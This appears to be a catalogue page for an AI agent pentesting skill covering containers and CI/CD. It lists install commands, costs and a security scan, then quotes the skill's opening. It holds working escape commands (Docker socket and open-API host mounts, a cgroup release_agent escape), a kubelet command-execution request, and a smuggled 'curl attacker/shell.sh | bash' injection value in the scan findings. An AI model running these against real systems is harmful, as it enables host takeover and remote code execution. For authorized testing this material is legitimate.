container-devops-pentest

container-devops-pentest is a skill for Claude Code, Codex, Cursor from Suzu-Testing/metasploit-cursor-harness. It costs 40 tokens per session (2,008 once invoked), scanned B, original, MIT.

A guide for security testing of containers, container platforms such as Kubernetes, and automated build and deployment systems.

In plain words
What is it for?
Use it during authorized tests to examine Docker or Kubernetes setups, CI/CD systems, services, secrets, and possible paths to higher access.
Why use it?
It provides a structured way to find risks such as escaping a container, gaining extra permissions, or exposing build secrets.

Skill for Claude CodeCodexCursor

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/suzu-testing/metasploit-cursor-harness/container-devops-pentest
Any agent
npx skills add Suzu-Testing/metasploit-cursor-harness --skill container-devops-pentest
Clone the repo
git clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harness

Made for: Claude Code, Codex, Cursor.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for container-devops-pentest

README.md
[![agentmods](https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/container-devops-pentest.svg)](https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/container-devops-pentest)
Your own site
<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/container-devops-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/container-devops-pentest.svg" alt="Measured on agentmods" height="20"></a>
Per session 40 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,008 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00040 $0.02008
Opus 5 $0.00020 $0.01004
Sonnet 5 $0.00008 $0.00402
Haiku 4.5 $0.00004 $0.00201

Measured 4d ago against content hash 428590eee4ff, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade B, and why

container-devops-pentest scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -k -X POST "https://<node>:10250/run/<ns>/<pod>/<container>" -d "cmd=id"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

# tag: '"; curl attacker/shell.sh | bash; echo "'

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl --unix-socket /var/run/docker.sock http://localhost/containers/json
.cursor/skills/container-devops-pentest/SKILL.md · 296 lines

How it starts

The opening of the file, as written. The whole thing — 296 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Container and DevOps Pentest

Prerequisites

  • Container orchestration or CI/CD targets are in scope.
  • Exposed Docker API (2375/2376): verify scope, load hacktricks-methodology.
  • Cloud-hosted clusters: also load cloud-pentest.

Workflow

Task Progress:
- [ ] Identify container runtime (Docker, K8s) or CI/CD platform
- [ ] Enumerate pods, services, secrets, pipeline configs
- [ ] Test escape, privilege escalation, secret exfil
- [ ] Document with namespace/cluster/pipeline context

Docker enumeration

Inside container

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/linux/gather/checkcontainer",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

cat /proc/1/cgroup
ls /.dockerenv 2>/dev/null
capsh --print
ls -la /var/run/docker.sock 2>/dev/null
deepce.sh

Mounted Docker socket escape

MSF: No direct module; use CLI.

CLI fallback:

curl --unix-socket /var/run/docker.sock http://localhost/containers/json
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host sh

Open Docker API (2375/2376)

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/docker_version",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 2375}
)
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/docker_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 2375, "USERNAME": "admin", "PASSWORD": "password"}
)

CLI fallback:

curl http://<target>:2375/containers/json
docker -H tcp://<target>:2375 run -v /:/host -it alpine chroot /host sh

Privileged container escape (cgroup release_agent)

MSF: No direct module; use CLI.

CLI fallback:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
echo 1 > /tmp/cgrp/notify_on_release
echo "$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)/shellcmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /shellcmd; echo 'id > /tmp/output' >> /shellcmd; chmod +x /shellcmd
sh -c "echo \$\$ > /tmp/cgrp/cgroup.procs"

Read the full file on GitHub · 296 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 296 lines · 40 tokens per session scan B 428590eee4ff

Subscribe to this mod's changes

container-devops-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 11d ago), licensed MIT. It adds 40 tokens to every session and 2,008 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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